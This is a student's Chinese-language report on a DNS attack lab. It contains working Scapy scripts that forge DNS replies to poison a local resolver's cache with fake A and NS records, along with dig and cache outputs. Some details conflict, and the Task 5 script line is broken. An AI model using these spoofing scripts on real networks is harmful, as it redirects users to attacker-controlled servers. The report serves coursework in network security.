Local DNS Attack Lab

57118229 袁超然

2.3 Summary of the DNS Confifiguration

登录 DNS Server，查看相关配置文件：

```
root@478e6c41b593:/# ls
bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr
root@478e6c41b593:/# cd etc/bind
root@478e6c41b593:/etc/bind# ls
bind.keys  db.255    named.conf                named.conf.options
db.0       db.empty  named.conf.default-zones  rndc.key
db.127     db.local  named.conf.local          zones.rfc1918
root@478e6c41b593:/etc/bind# cat named.conf.options
```

查看源端口设置为 33333：

```
// ------------------------------------------
// Added/Modified for SEED labs
// dnssec-validation auto;
dnssec-validation no;
dnssec-enable no;
dump-file "/var/cache/bind/dump.db";
query-source port         33333;

// Access control
allow-query { any; };
allow-query-cache { any; };
allow-recursion { any; };

// ------------------------------------------
```

查看 zone entry：

```
zone "attacker32.com" {
    type forward;
    forwarders {
        10.9.0.153;
    };
};
```

打开 dump.db 文件，查看 DNS cache：

```
root@478e6c41b593:/var/cache/bind# ls
dump.db
root@478e6c41b593:/var/cache/bind# cat dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
```

登录 user machine，查看 resolv.conf 文件中的 nameserver：

```
root@dc7d1be83ff6:/etc# cat resolv.conf
nameserver 10.9.0.53
```

登录 attacker machine，查看 named.conf 文件：

```
zone "attacker32.com" {
        type master;
        file "/etc/bind/zone_attacker32.com";
};

zone "example.com" {
        type master;
        file "/etc/bind/zone_example.com";
};
```

2.4 Testing the DNS Setup

使用 dig 命令查看到 attacker.com 的 DNS 路径：

```
root@dc7d1be83ff6:/# dig ns.attacker32.com
```

回答从设定的 attacker 服务器中返回：

```
;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153
```

```
@       IN      NS    ns.attacker32.com.

@       IN      A     10.9.0.180
www     IN      A     10.9.0.180
ns      IN      A     10.9.0.153
*       IN      A     10.9.0.100
```

分别使用 dig www.example.com 和 dig @ns.attacker32.com www.example.com 命令查看指定地址的 DNS 路径，成功得到了不同的结果：

```
root@dc7d1be83ff6:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22830
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL:
1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: d354f14163c2bc030100000060f4dce3670eaad5b35f2863 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        84933   IN      A       93.184.216.34

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 02:01:07 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@dc7d1be83ff6:/# dig @ns.attacker32.com  www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11081
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONA
L: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e1b4c7321b51873f0100000060f4e17f647e3193dec2fee5 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5
```

3.1 Task 1: Directly Spoofifing Response to User

首先，清除 DNS 缓存：

```
root@1dc7920cd7b7:/# rndc flush
root@1dc7920cd7b7:/#
```

登录 attacker，执行如下脚本。该脚本将会截获从 10.9.0.5 发往 10.9.0.53 的报文，并构造从 10.9.0.53 发往 10.9.0.5 的 dns 相应报文，从而将 www.example.com 的 ip 地址错误的对应为 10.9.0.153，使得用户端获取错误的 dns 信息：

```python
#!/usr/bin/env python3
from scapy.all import *
import sys

NS_NAME = "example.com"

def spoof_dns(pkt):
  if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
    print (pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

    ip = IP(src=pkt[IP].dst,dst=pkt[IP].src)
    udp = UDP(sport=53,dport=pkt[UDP].sport)
    Anssec = DNSRR(rrname=pkt[UDP].qd.qname,type="A",ttl=259200,rdata="1.2.3.5")
    dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,an=Anssec)
    spoofpkt = ip/udp/dns
    send(spoofpkt)

myFilter = 'udp and dst port 53'
pkt = sniff(iface='br-ed59c1589fb4',filter=myFilter,prn=spoof_dns)
```

观察到攻击报文成功发送：

```
root@VM:/volumes# Direct.py
 10.8.0.11 --> 192.5.6.30: 19517
.
Sent 1 packets.
 10.8.0.11 --> 192.31.80.30: 57599
.
Sent 1 packets.
^Z
[4]+  Stopped                 Direct.py
```

再次直接使用 dig 命令查看 dns 信息，发现攻击成功：

```
root@6b6ed363b39c:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11004
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 33b23f31677ae6fc0100000060f50a4db4b5a04a8e355c8c (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 936 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 05:14:53 UTC 2021
;; MSG SIZE  rcvd: 88
```

3.2 Task 2: DNS Cache Poisoning Attack – Spoofifing Answers

对 Task 1 的脚本进行修改，将 Sniff 的目标 IP 设置为服务器的 IP：

```
myFilter = 'udp and (src host 10.9.0.53 and dst port 53)'
```

攻击前，查看 DNS 服务器的相关缓存，发现为空；

执行脚本的同时，在用户中 dig www.example.com，结果如下，发现攻击成功：

```
root@720fa633518e:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45184
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 4f92412598eb6daf0100000060fc5c540c06ce3a3916de1a (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 752 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 18:30:44 UTC 2021
;; MSG SIZE  rcvd: 88
```

攻击端显示发送攻击报文：

```
root@VM:/volumes# Poison.py
 10.9.0.53 --> 192.5.6.30: 58506
.
Sent 1 packets.
 10.9.0.53 --> 192.26.92.30: 61106
.
Sent 1 packets.
^Z
[2]+  Stopped                 Poison.py
```

再次查看服务器的缓存，发现攻击成功：

```
root@f2daae6b67a6:/var/cache/bind# cat dump.db | grep www.example.com
www.example.com.        863477  A       1.2.3.5
root@f2daae6b67a6:/var/cache/bind#
```

3.3 Task 3: Spoofifing NS Records

修改攻击脚本，让 ns.attacker32.com 成为 example.com 的 name server：

```
#!/usr/bin/env python3
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
  if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
    print (pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

    ip = IP(src=pkt[IP].dst,dst=pkt[IP].src)
    udp = UDP(sport=53,dport=pkt[UDP].sport)
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type="A",ttl=259200,rdata="1.2.3.4")
    NSsec = DNSRR(rrname='example.com',type="NS",ttl=259200,rdata="ns.attacker32.com")
    dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=1,arcount=0,an=Anssec,ns=NSsec)
    spoofpkt = ip/udp/dns
    send(spoofpkt)

myFilter = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt = sniff(iface='br-3d53037da93c',filter=myFilter,prn=spoof_dns)
```

再次 dig，发现攻击成功，且显示的 IP 是恶意 DNS 服务器提供的 1.2.3.5，本地服务器遭到污染：

```
root@720fa633518e:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7725
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a913ea4423e194570100000060fc639ec0f26eebbc4456f4 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 836 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 19:01:50 UTC 2021
;; MSG SIZE  rcvd: 88
```

查看本地 DNS 服务器的 cache，发现已经被污染：

```
root@f2daae6b67a6:/var/cache/bind# cat dump.db | grep example.com
example.com.            862265  NS      ns.attacker32.com.
_.example.com.          862265  A       1.2.3.4
www.example.com.        862265  A       1.2.3.5
root@f2daae6b67a6:/var/cache/bind#
```

3.4 Task 4: Spoofifing NS Records for Another Domain

首先，修改 Task 3 使用的脚本，添加一条 NS 记录：

```
#!/usr/bin/env python3
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
  if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
    print (pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

    ip = IP(src=pkt[IP].dst,dst=pkt[IP].src)
    udp = UDP(sport=53,dport=pkt[UDP].sport)
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type="A",ttl=259200,rdata="1.2.3.4")
    NSsec1 = DNSRR(rrname='example.com',type="NS",ttl=259200,rdata="ns.attacker32.com")
    NSsec2 = DNSRR(rrname='baidu.com',type="NS",ttl=259200,rdata="ns.attacker32.com")
    dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=2,arcount=0,an=Anssec,ns=NSsec1/NSsec2)
    spoofpkt = ip/udp/dns
    send(spoofpkt)

myFilter = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt = sniff(iface='br-3d53037da93c',filter=myFilter,prn=spoof_dns)
```

再次进行攻击，尝试 dig www.example.com，发现攻击依旧可以成功：

```
root@720fa633518e:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44327
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c35d03c4b0127d960100000060fc6bc07a2e9a8d5002afef (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 668 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 19:36:32 UTC 2021
;; MSG SIZE  rcvd: 88
```

查看本地 DNS 服务器的 cache，发现 example.com 依然修改成功，但是 baidu.com 并未成功，本地 DNS 服务器并不相信对于请求的其它域的 NS 结果：

```
root@f2daae6b67a6:/var/cache/bind# rndc dumpdb -cache
root@f2daae6b67a6:/var/cache/bind# cat dump.db | grep example.com
example.com.            863919  NS      ns.attacker32.com.
_.example.com.          863919  A       1.2.3.4
www.example.com.        863919  A       1.2.3.5
root@f2daae6b67a6:/var/cache/bind# cat dump.db | grep baidu.com
root@f2daae6b67a6:/var/cache/bind#
```

3.5 Task 5: Spoofifing Records in the Additional Section

根据要求修改脚本，添加三条 Addition，同时为了避免重复，修改 answer 的 IP 为 5.5.5.5：

```
#!/usr/bin/env python3
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
  if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
    print (pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

    ip = IP(src=pkt[IP].dst,dst=pkt[IP].src)
    udp = UDP(sport=53,dport=pkt[UDP].sport)
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type="A",ttl=259200,rdata="5.5.5.5")
    NSsec1 = DNSRR(rrname='example.com',type="NS",ttl=259200,rdata="ns.attacker32.com")
    NSsec2 = DNSRR(rrname='example.com',type="NS",ttl=259200,rdata="ns.example.com")
    Addsec1 = DNSRR(rrname='ns.attacker32.com',type="A",ttl=259200,rdata="1.2.3.4")
    Addsec2 = DNSRR(rrname='ns.example.com',type="A",ttl=259200,rdata="5.6.7.8")
    Addsec3 = DNSRR(rrname='www.facebook.com',type="A",ttl=259200,rdata="3.4.5.6")
    dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=2,arcount=3,an=Anssec,ns=NSsec1/NSsec2,ar=Addsec1/-
  Addsec2/Addsec3)
    spoofpkt = ip/udp/dns
    send(spoofpkt)

myFilter = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt = sniff(iface='br-3d53037da93c',filter=myFilter,prn=spoof_dns)
```

执行攻击，发现 www.example.com 被解析为 1.2.3.5，证明其来自攻击者的 name server：

```
root@720fa633518e:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33174
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3f64cc27975192c30100000060fc721fc3f954a2444c8149 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 2052 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Sat Jul 24 20:03:43 UTC 2021
;; MSG SIZE  rcvd: 88
```

查看 DNS 服务器缓存，首先，关于 www.facebook.com 未被 poison 成功：

```
root@f2daae6b67a6:/var/cache/bind# cat dump.db | grep www.facebook.com
root@f2daae6b67a6:/var/cache/bind#
```

再查看 example.com，可以发现，本地服务器选择了同属一个域的一条 authority 采信，即 ns.example.com，而 ns.example.com 的映射并没有被 addition 所改变，依然根据 answer 信息映射到 5.5.5.5，也就无法作为 name server。所以可以猜测，www.example.com 的映射从另一条 authority 中的 ns.attacker32.com 处获得：

```
root@f2daae6b67a6:/var/cache/bind# cat dump.db | grep example.com
example.com.            863939  NS      ns.example.com.
_.example.com.          863939  A       5.5.5.5
ns.example.com.         863939  A       5.5.5.5
www.example.com.        863939  A       1.2.3.5
; ns.example.com [v4 TTL 1739] [v4 success] [v6 unexpected]
root@f2daae6b67a6:/var/cache/bind#
```

上述猜测可以通过注释掉该 authority，导致映射到了正确的信息来验证。